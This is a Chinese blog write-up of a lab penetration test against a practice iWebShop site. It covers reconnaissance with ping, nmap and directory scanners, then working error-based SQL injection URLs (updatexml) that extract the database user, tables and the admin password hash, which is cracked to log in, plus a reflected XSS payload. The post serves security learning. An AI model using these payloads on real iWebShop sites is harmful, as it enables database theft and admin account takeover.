当前位置: 首页 > news >正文

【靶场】webshop渗透攻击

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

    • 1.信息收集
      • 1.1ping一下
      • 1.2 nmap
      • 1.3 敏感目录扫描
        • 1.3.1 7kkscan
        • 1.3.2 dirmap
      • 1.4 其他信息
      • 1.5 信息汇总
    • 2.web漏洞扫描,尝试攻击
      • 2.1 通用扫描工具AWVS
        • 2.1.1 DOM型XSS漏洞(低危)
        • 2.1.2 SQL注入(高危)
        • 2.1.3 反射型XSS(中危)


靶场地址www.example1.com

1.信息收集

1.1ping一下

在这里插入图片描述
获取到目标的ip和操作系统

TTL=64 LINUX
TTL=128 WINDOWS

目标ip 192.168.79.129
操作系统 linux

1.2 nmap

在这里插入图片描述

在这里插入图片描述

确认系统是linux
21 80 888 三个端口开放

1.3 敏感目录扫描

1.3.1 7kkscan

在这里插入图片描述

1.3.2 dirmap

在kali使用的时候遇到了缺少模块 ModuleNotFoundError: No module named ‘progressbar’ 主要是因为python版本高了,3.12 ,用虚拟环境改成3.11,还下载了些其他模块就好了

python3 -m pip install progressbar --break-system-packagespython3.11 -m venv --without-pip dirmap_venvsource dirmap_venv/bin/activatewget https://bootstrap.pypa.io/get-pip.pypython get-pip.pypip install progressbar2 geventpip install requestsdeactivate  退出虚拟环境

开始使用dirmap
修改hosts配置域名
在这里插入图片描述

开扫
在这里插入图片描述
扫描文件放在output文件夹中
在这里插入图片描述

在这里插入图片描述
找admin
获得登录页面http://www.example1.com/admin
在这里插入图片描述
收集的信息是:有/admin目录,编程语言是php

1.4 其他信息

通过观察,我们发现站点底部信息,还能得知待测试站点基于 iWebShop 开发。可以去网上找一下iWebShop已知的漏洞。
在这里插入图片描述

1.5 信息汇总

域名: www.example1.com
IP: 192.168.79.129
操作系統: linux
开放端口: 21、80、888
开发语言与CMS: PHP、iWebshop
后台登陆地址: http://www.example1.com/admin/

2.web漏洞扫描,尝试攻击

2.1 通用扫描工具AWVS

2.1.1 DOM型XSS漏洞(低危)

在这里插入图片描述
在这里插入图片描述

2.1.2 SQL注入(高危)

在这里插入图片描述
时间型盲注
在这里插入图片描述

抓包使用sqlmap扫描
在这里插入图片描述

–获取数据库版本

http://www.example1.com/index.php?action=search_list&controller=site&word=1' AND updatexml(1,concat(0x7e,(select @@version),0x7e),1) AND 'UkDQ'='UkDQ

在这里插入图片描述

–获取数据库用户名

http://www.example1.com/index.php?action=search_list&controller=site&word=1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) AND 'UkDQ'='UkDQ

在这里插入图片描述
用户名为www_example1_com@localhost

–获取数据库表

http://www.example1.com/index.php?action=search_list&controller=site&word=1' AND updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'www_example1_com' limit 0,1 ),0x7e),1) AND 'UkDQ'='UkDQ

在这里插入图片描述

查出来有许多表,我主要需要获得登录信息表iwebshop_admin

–查询iwebshop_admin表中数据项

http://www.example1.com/index.php?action=search_list&controller=site&word=1' AND updatexml(1,concat(0x7e,(select column_name from information_schema.columns  where table_schema = 'www_example1_com'  and table_name = 'iwebshop_admin'  limit 0,1),0x7e),1) AND 'UkDQ'='UkDQ

获得字段名
id,admin_name,password,role_id,create_name,email,last_ip,last_time,等等

–查询字段数据

http://www.example1.com/index.php?action=search_list&controller=site&word=1' AND updatexml(1,concat(0x7e,(select admin_name from iwebshop_admin ),0x7e),1) AND 'UkDQ'='UkDQ
http://www.example1.com/index.php?action=search_list&controller=site&word=1' AND updatexml(1,concat(0x7e,(select substring(password,10,18) from iwebshop_admin  limit 0,1),0x7e),1) AND 'UkDQ'='UkDQ

获得用户名密码 admin:0192023a7bbd73250516f069df1

密码经md5解密为admin123

登录成功
在这里插入图片描述

2.1.3 反射型XSS(中危)
http://www.example1.com/index.php?action=search_list&controller=site&word=1'"><script>alert(9709)</script>

在这里插入图片描述

本文章仅作为网安学习记录用,维护网络安全靠大家

http://www.dtcms.com/a/395890.html

相关文章:

  • 深入浅出现代GPU架构:核心类型、精度模式与选择
  • 开发避坑指南(53):git 命令行标签维护方法
  • javaEE初阶 网络编程(socket初识)
  • 基于Springboot + vue3实现的实验室研究生信息管理系统
  • TwinCat是什么
  • Linux 修炼:进程概念(下)
  • PostgreSQL 全表 count 优化实践:从 SeqScan 痛点分析到 heapam 改进与性能突破
  • 第17讲 机器学习vs神经网络
  • 1. 设计模式--工厂方法模式
  • SpringBoot常用配置
  • 【论文阅读】π0:用于通用机器人控制的视觉-语言-动作流模型
  • Spring 框架学习指南
  • Vue3 父子组件通信实战:props 与 provide/inject 方案对比及用法解析
  • el-image标签预览和VForm打包后项目上层级冲突问题
  • QML学习笔记(九)QML的全局对象
  • element里的select自定义输入的时候,不用点击下拉框选中自定义输入,而是当焦点失去的时候自动赋值输入的内容
  • 链改2.0+港促会,携手赋能 Web3引企赴港!
  • C++第二篇:命名空间(namespace)
  • vcsa 重启服务
  • QT 两种库写法 LIBS += .a和LIBS += -L -l
  • 比斯特自动化|电动自行车电池点焊机的作用与使用
  • Django 模型与 ORM 全解析(一):从基础到实战的完整指南
  • NW955NW960美光固态闪存NW963NW971
  • iOS 26 软件兼容性大检查,哪些 App 出问题、API 变动要注意、旧功能不支持兼容性测试全流程
  • HarmonyOS NEXT互动卡片开发:从原理到实战的完整指南
  • 邪修实战系列(6)
  • Clover: 1靶场渗透
  • 智慧供水管网监测解决方案:实现压力、流量、水质数据集与监控
  • 深入理解Java虚拟机内存模型
  • 什么是缺陷检测?机器视觉表面缺陷检测从定义到实战方法,避开漏判误判